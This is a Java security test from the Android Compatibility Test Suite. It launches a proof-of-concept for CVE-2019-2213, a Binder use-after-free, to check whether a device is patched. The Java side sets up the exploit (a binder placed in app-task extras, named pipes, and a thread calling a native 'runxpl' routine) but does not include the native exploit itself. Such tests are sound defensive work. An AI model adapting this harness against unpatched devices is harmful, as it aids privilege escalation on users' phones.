| /* |
| * Copyright (C) 2019 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| package android.security.cts; |
| |
| import android.system.Os; |
| import android.os.Looper; |
| import android.os.Message; |
| import android.os.ParcelFileDescriptor; |
| import android.os.SystemClock; |
| |
| import android.app.Activity; |
| import android.app.ActivityManager; |
| |
| import android.content.BroadcastReceiver; |
| import android.content.Context; |
| import android.content.ContextWrapper; |
| import android.content.Intent; |
| import android.content.IntentFilter; |
| import android.content.pm.ApplicationInfo; |
| |
| import android.hardware.display.VirtualDisplay; |
| |
| import java.io.IOException; |
| import java.io.BufferedReader; |
| import java.io.InputStream; |
| import java.io.InputStreamReader; |
| |
| import static org.junit.Assert.assertTrue; |
| import android.test.AndroidTestCase; |
| import androidx.test.InstrumentationRegistry; |
| import android.platform.test.annotations.SecurityTest; |
| |
| import java.util.ArrayList; |
| import android.util.Log; |
| |
| import android.graphics.Bitmap; |
| import android.os.Bundle; |
| import android.os.IBinder; |
| import android.system.ErrnoException; |
| import android.widget.TextView; |
| |
| import java.io.File; |
| import java.util.List; |
| |
| class Exchange extends IBinderExchange.Stub { |
| IBinder binder; |
| BinderExploitTest.CVE_2019_2213_Activity xpl; |
| Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) { |
| this.xpl = xpl; |
| } |
| @Override |
| public void putBinder(IBinder bnd) { |
| this.xpl.addLog("put binder"); |
| binder = bnd; |
| } |
| @Override |
| public IBinder getBinder() { |
| this.xpl.addLog("get binder"); |
| return binder; |
| } |
| } |
| |
| class ExploitThread extends Thread { |
| static { |
| System.loadLibrary("cve_2019_2213_jni"); |
| } |
| BinderExploitTest.CVE_2019_2213_Activity xpl; |
| String pipedir; |
| |
| ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) { |
| this.xpl = xpl; |
| this.pipedir = pipedir; |
| } |
| |
| public void run() { |
| runxpl(pipedir); |
| } |
| |
| void addLog(String msg) { |
| xpl.addLog(msg); |
| } |
| |
| public native void runxpl(String pipedir); |
| } |
| |
| @SecurityTest |
| public class BinderExploitTest extends AndroidTestCase { |
| |
| static final String TAG = BinderExploitTest.class.getSimpleName(); |
| private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; |
| |
| public CVE_2019_2213_Activity mActivity; |
| private void launchActivity(Class<? extends Activity> clazz) { |
| final Context context = InstrumentationRegistry.getInstrumentation().getContext(); |
| final Intent intent = new Intent(Intent.ACTION_MAIN); |
| intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName()); |
| intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); |
| context.startActivity(intent); |
| } |
| |
| /** |
| * b/141496757 |
| */ |
| @SecurityTest(minPatchLevel = "2019-11") |
| public void testPoc_cve_2019_2213() throws Exception { |
| Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start...")); |
| |
| // set timeout to 5 minutes |
| int timeout = 60; |
| |
| // run test activity |
| launchActivity(CVE_2019_2213_Activity.class); |
| // main loop to check forked processs bahaviors |
| while (timeout-- > 0) { |
| SystemClock.sleep(1000); |
| } |
| Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished.")); |
| } |
| |
| public static class CVE_2019_2213_Activity extends Activity { |
| ActivityManager actmgr; |
| String log = ""; |
| |
| synchronized void addLog(String msg) { |
| Log.i("txnuaf", msg); |
| log += msg + "\n"; |
| Log.i(TAG, log); |
| } |
| |
| ActivityManager.AppTask getAppTask() { |
| List<ActivityManager.AppTask> list = actmgr.getAppTasks(); |
| for (int i = 0; i < list.size(); i++) { |
| ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo(); |
| if (info.baseIntent.getExtras() != null) |
| return list.get(i); |
| } |
| return null; |
| } |
| |
| void setUpBundle() throws Exception { |
| actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE); |
| ActivityManager.AppTask t = getAppTask(); |
| if (t != null) |
| t.finishAndRemoveTask(); |
| Intent in = new Intent(this, CVE_2019_2213_Activity.class); |
| Bundle extras = new Bundle(); |
| extras.putBinder("bnd", new Exchange(this)); |
| in.putExtras(extras); |
| in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT); |
| Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8); |
| if (actmgr.addAppTask(this, in, null, bmp) == -1) |
| throw new Exception("addAppTask failed"); |
| t = getAppTask(); |
| if (t == null) |
| throw new Exception("no appTask with extras"); |
| Bundle b = t.getTaskInfo().baseIntent.getExtras(); |
| if (!b.containsKey("bnd")) |
| throw new Exception("no bnd key"); |
| addLog("apptask added"); |
| } |
| |
| public String makePipes() throws ErrnoException { |
| File dir = getDir("xpldat", 0); |
| for (int i = 0; i < 8; i++) { |
| File fifo = new File(dir, "p" + i); |
| if (fifo.exists()) |
| fifo.delete(); |
| Os.mkfifo(fifo.getPath(), 0600); |
| } |
| return dir.getPath(); |
| } |
| |
| @Override |
| protected void onCreate(Bundle savedInstanceState) { |
| super.onCreate(savedInstanceState); |
| |
| try { |
| setUpBundle(); |
| (new ExploitThread(this, makePipes())).start(); |
| } catch (Exception e) { |
| addLog(e.toString()); |
| } |
| } |
| } |
| |
| |
| } |